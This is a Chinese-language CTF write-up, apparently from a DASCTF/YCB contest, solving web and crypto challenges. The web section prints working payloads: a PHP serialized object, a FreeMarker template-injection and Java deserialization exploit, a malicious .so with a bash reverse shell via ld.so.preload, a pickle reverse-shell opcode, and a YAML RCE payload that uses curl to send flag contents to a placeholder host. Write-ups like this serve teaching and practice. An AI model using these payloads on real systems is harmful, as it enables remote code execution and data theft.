#O%3A3%3A%22Bei%22%3A5%3A%7Bs%3A3%3A%22CTF%22%3BO%3A4%3A%22Yang%22%3A4%3A%7Bs%3A3%3A%22key%22%3Bb%3A1%3Bs%3A6%3A%22finish%22%3BO%3A5%3A%22Cheng%22%3A2%3A%7Bs%3A13%3A%22%00Cheng%00finish%22%3Bi%3A1%3Bs%3A4%3A%22name%22%3Ba%3A1%3A%7Bs%3A6%3A%22finish%22%3Bi%3A1%3B%7D%7Ds%3A7%3A%22finish1%22%3BO%3A5%3A%22Cheng%22%3A2%3A%7Bs%3A13%3A%22%00Cheng%00finish%22%3Bi%3A1%3Bs%3A4%3A%22name%22%3Ba%3A1%3A%7Bs%3A6%3A%22finish%22%3Bi%3A1%3B%7D%7Ds%3A3%3A%22now%22%3Ba%3A1%3A%7Bs%3A4%3A%22YCB1%22%3Bs%3A6%3A%22sysystemstem%22%3B%7D%7Ds%3A4%3A%22fine%22%3BO%3A4%3A%22Yang%22%3A4%3A%7Bs%3A3%3A%22key%22%3Bb%3A1%3Bs%3A6%3A%22finish%22%3BO%3A5%3A%22Cheng%22%3A2%3A%7Bs%3A13%3A%22%00Cheng%00finish%22%3Bi%3A1%3Bs%3A4%3A%22name%22%3Ba%3A1%3A%7Bs%3A6%3A%22finish%22%3Bi%3A1%3B%7D%7Ds%3A7%3A%22finish1%22%3BO%3A5%3A%22Cheng%22%3A2%3A%7Bs%3A13%3A%22%00Cheng%00finish%22%3Bi%3A1%3Bs%3A4%3A%22name%22%3Ba%3A1%3A%7Bs%3A6%3A%22finish%22%3Bi%3A1%3B%7D%7Ds%3A3%3A%22now%22%3Ba%3A1%3A%7Bs%3A4%3A%22YCB1%22%3Bs%3A6%3A%22sysystemstem%22%3B%7D%7Ds%3A3%3A%22rce%22%3Bs%3A23%3A%22cat+%2Ftmp%2Fcatcatf1ag.txt%22%3Bs%3A4%3A%22rce1%22%3BN%3Bs%3A3%3A%22key%22%3BN%3B%7D

得到 flag

Ez_java

反编译得到源码,审计可以发现 HtmlMap 的 get 函数调用了 HtmlUploadUtil 的 uploadfile 函数,可以对/app/templates/下写入 ftl 文件,通过搜索可以知道 ftl 存在模板注入,具体 payload 如下

1
2
3
4
<#assign ac=springMacroRequestContext.webApplicationContext>
  <#assign fc=ac.getBean('freeMarkerConfiguration')>
    <#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
      <#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${"freemarker.template.utility.Execute"?new()("cat /flag")}

也就是说可以通过覆盖 index.ftl,然后访问路由/templating 触发命令

另外/getflag 存在裸反序列化,现在问题就是如何利用反序列化进行调用到 HtmlMap 的 get 函数,可以发现题目给了一个动态代理类 HtmlInvocationHandler,其中进行了传入类的 get 调用,所以现在只需要反序列化调用动态代理,可以发现具体流程与 CC1 相似,仿照 CC1 编写 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import com.ycbjava.Utils.HtmlInvocationHandler;
import com.ycbjava.Utils.HtmlMap;
import java.io.ByteArrayOutputStream;
import java.io.*;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.Map;


public class test {
    public static void main(String[] args) throws Exception {
        HtmlMap htmlMap = new HtmlMap();
        htmlMap.filename="index.ftl";
        htmlMap.content="<#assign ac=springMacroRequestContext.webApplicationContext>\n" +
                "  <#assign fc=ac.getBean('freeMarkerConfiguration')>\n" +
                "    <#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n" +
                "      <#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${\"freemarker.template.utility.Execute\"?new()(\"cat /flag\")}\n";
        HtmlInvocationHandler html = new HtmlInvocationHandler(htmlMap);
        Map proxy = (Map) Proxy.newProxyInstance(test.class.getClassLoader(), new Class[] {Map.class}, html);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor a = c.getDeclaredConstructor(Class.class, Map.class);
        a.setAccessible(true);
        Object exp = a.newInstance(Target.class, proxy);
        System.out.println(serial(exp));
        deserial(serial(exp));

    }
    public static String serial(Object o) throws IOException, NoSuchFieldException {
        ByteArrayOutputStream stream = new ByteArrayOutputStream();
        ObjectOutputStream stream1 = new ObjectOutputStream(stream);
        stream1.writeObject(o);
        stream1.close();
        String base64String = Base64.getEncoder().encodeToString(stream.toByteArray());
        return base64String;

    }
    public static void deserial(String data) throws Exception {
        byte[] base64decodedBytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream b = new ByteArrayInputStream(base64decodedBytes);
        ObjectInputStream o = new ObjectInputStream(b);
        o.readObject();
        o.close();
    }
}
//rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcgAnY29tLnljYmphdmEuVXRpbHMuSHRtbEludm9jYXRpb25IYW5kbGVyQCXpLL1HVZUCAAFMAANvYmpxAH4AAXhwc3IAGWNvbS55Y2JqYXZhLlV0aWxzLkh0bWxNYXAVSPlJWeMkfAIAAkwAB2NvbnRlbnR0ABJMamF2YS9sYW5nL1N0cmluZztMAAhmaWxlbmFtZXEAfgALeHB0ATE8I2Fzc2lnbiBhYz1zcHJpbmdNYWNyb1JlcXVlc3RDb250ZXh0LndlYkFwcGxpY2F0aW9uQ29udGV4dD4KICA8I2Fzc2lnbiBmYz1hYy5nZXRCZWFuKCdmcmVlTWFya2VyQ29uZmlndXJhdGlvbicpPgogICAgPCNhc3NpZ24gZGNyPWZjLmdldERlZmF1bHRDb25maWd1cmF0aW9uKCkuZ2V0TmV3QnVpbHRpbkNsYXNzUmVzb2x2ZXIoKT4KICAgICAgPCNhc3NpZ24gVk9JRD1mYy5zZXROZXdCdWlsdGluQ2xhc3NSZXNvbHZlcihkY3IpPiR7ImZyZWVtYXJrZXIudGVtcGxhdGUudXRpbGl0eS5FeGVjdXRlIj9uZXcoKSgiY2F0IC9mbGFnIil9CnQACWluZGV4LmZ0bHZyABtqYXZhLmxhbmcuYW5ub3RhdGlvbi5UYXJnZXQAAAAAAAAAAAAAAHhw

/getflag 路由发送 payload,/templating 触发命令即可获得 flag

EZ_web

题目给了三个功能,/cmd.php 可以执行有限的命令,/upload.php 可以上传文件,/list.php 可以查看特定目录下的文件列表

fuzz 时发现/etc 下的文件不给看,猜测/etc 为上传目录,同时发现上传文件里留了一个 so 后缀可以通过,结合/cmd.php 可以执行命令 whoami,所以应该是要通过上传恶意 so 文件进行系统命令劫持。参考 RCTF-Web-filechecker-pro-max 进行 whoami 命令劫持

上传两个文件

恶意 so 文件 1.so

1
2
3
4
5
6
7
8
#include <stdio.h>
#include <stdlib.h>

int puts(const char *message) {
  printf("hack you!!!");
  system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");
  return 0;
}

ld.so.preload 文件

1
/etc/1.so

然后在/cmd.php 执行 whoami 即可劫持,反弹 shell 如下

Serpent

对 flask-session 进行解密发现密钥直接写在里面,按要求伪造 session 后获得 pickle 反序列化的路由和源码

构造 opcode 进行 pickle 反序列化

1
2
3
4
5
6
7
import base64
import pickle
opcode=b'''(S'bash -c 'bash -i >& /dev/tcp/ip/port 0>&1''
ios
system
.'''
print(base64.b64encode(opcode))

发现没有回显直接打反弹 shell,连上以后需要 suid 提权

ArkNights

/read 有文件读取功能,直接读取/proc/1/environ 得到 flag

ezyaml

tar 解压的时候存在路径穿越,可以将 yaml 文件解压到 config 目录,随后打 yaml 反序列 rce

创建系统目录结构的文件夹,使用 tar 命令进行打包

1
2
3
4
5
6
7
8
- !!python/object/new:str
    args: []
    state: !!python/tuple
    - "__import__('os').popen('curl http://ip:9999/`cat /f*`').read()"
    - !!python/object/new:staticmethod
      args: [0]
      state:
        update: !!python/name:exec

上传文件后在 vps 上开启 http 监听,得到访问/src?username=admin 得到 flag

Crypto

Easy_3L

ntru 拿 s3,拿到 s3 以后 LCG 常规解法就行了。

ntru 里需要找到一组 f,q 满足 f,q 较小,并且满足 f * h = q mod p 就可以使得 f * c = s * q + f * msg(也就是把 mod p 脱去)

造格子

1 h

0 p

LLL 规约以后得到的向量(x1,x2)就满足 x1 * h + b * p = x2,这也就意味着 x1 * h = x2 mod p

所以通过这种找短向量的方式就能够找到一组短的(f,q)

有了能用的(f,q),就可以计算 f * c mod q

得到 f * msg mod q

这样就能算出 msg 也就是 s3 了,后续就是简单的 LCG,先求模数 n 再求 a b 就行。

XOR 贯穿始终

压缩包是价值观加密

将 pri.pem 中的内容 base64 解码,根据.pom 的格式与 task.py 中各参数的长度,可以通过”028181“、”0203“、”028181“、”0241“这些前缀得到 RSA 的参数 n、e、d、p、q

在通过 m = pow(c,d,n)解密密文后,发现 flag 头”DASCTF{“正确,后面存在不可见字符

题目提到 XOR,故将压缩包密码与”DASCTF{“后内容的 ascii 码异或,得出 flag 内容

Categories:

Updated: